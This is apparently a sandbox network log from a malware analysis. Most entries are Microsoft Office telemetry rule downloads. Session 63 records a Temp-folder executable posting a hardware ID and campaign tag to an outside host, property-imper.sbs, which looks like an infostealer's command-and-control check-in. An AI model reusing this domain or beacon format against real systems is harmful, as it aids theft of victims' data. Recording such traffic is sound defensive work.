2024-11-23 20:15:48 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.8	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:47 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:48 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 20e2cd06-701e-005c-2869-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201548Z-178bfbc474bp8mkvhC1NYCzqnn00000004u0000000008wwq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:48 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.8	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:48 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:48 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: ed66cbfc-201e-0051-7e30-3c7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201548Z-178bfbc474bbbqrhhC1NYCvw7400000004zg00000000nt2g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:48 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.8	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:48 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:48 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 171ae584-101e-005a-6763-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201548Z-178bfbc474bpscmfhC1NYCfc2c00000003mg000000003p23 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:48 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.8	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:50 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:50 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:50 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: eb55dd92-f01e-0020-3d6a-3c956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201550Z-174c587ffdfgcs66hC1TEB69cs000000034g00000000t2mh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:50 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.8	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:50 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:50 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:50 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 2250be27-501e-007b-7961-3b5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201550Z-178bfbc474btvfdfhC1NYCa2en000000050000000000cb00 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:50 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.8	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:50 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:50 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:50 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 00deeadb-901e-007b-4a91-3bac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201550Z-15b8b599d88cn5thhC1TEBqxkn00000003d0000000001qhe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:50 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.8	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:50 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:51 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: af6ae163-c01e-0082-6735-3caf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201551Z-178bfbc474bv587zhC1NYCny5w00000004xg000000001386 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:51 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.8	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:50 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:51 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: f9d2b1a4-b01e-003d-337e-3bd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201551Z-174c587ffdf4zw2thC1TEBu34000000003dg00000000na60 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:51 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.8	49808	172.67.162.84	443	3848	C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:51 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=OZTQCHM8Y9VU1NU9I User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1254 Host: property-imper.sbs
2024-11-23 20:15:51 UTC	1254	OUT	Data Raw: 2d 2d 4f 5a 54 51 43 48 4d 38 59 39 56 55 31 4e 55 39 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 41 45 32 44 33 32 42 36 34 45 45 46 41 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 4f 5a 54 51 43 48 4d 38 59 39 56 55 31 4e 55 39 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4f 5a 54 51 43 48 4d 38 59 39 56 55 31 4e 55 39 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --OZTQCHM8Y9VU1NU9IContent-Disposition: form-data; name="hwid"2AE2D32B64EEFAB7D7CBBD6DF28D3732--OZTQCHM8Y9VU1NU9IContent-Disposition: form-data; name="pid"1--OZTQCHM8Y9VU1NU9IContent-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-11-23 20:15:52 UTC	1014	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ltv4ho506h93u2a31apkij9hbb; expires=Wed, 19-Mar-2025 14:02:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cSaajr%2F7rinDGcGMsky%2FUgAqy90TvN0O9W5lUWWnkfukuGUMHJqBbeSoc95AuA4eApqLpZPN3pHGyCKfJDHA9Nk4OzNU9Yl7iXKiarUKjWTMnx5PafHV2kqC8kiLPpDcLQ%2BMlSw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e73d56c1cba4346-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1724&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2172&delivery_rate=1637689&cwnd=252&unsent_bytes=0&cid=defc214bfc01a24f&ts=649&x=0"
2024-11-23 20:15:52 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 20:15:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.8	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:52 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:52 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: fcdc764c-f01e-0052-4963-3b9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201552Z-178bfbc474bvjk8shC1NYC83ns00000004vg0000000047e1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:52 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.8	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:52 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:52 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 6917304d-001e-0079-0164-3d12e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201552Z-15b8b599d88z9sc7hC1TEBkr4w00000003n00000000034se x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:52 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 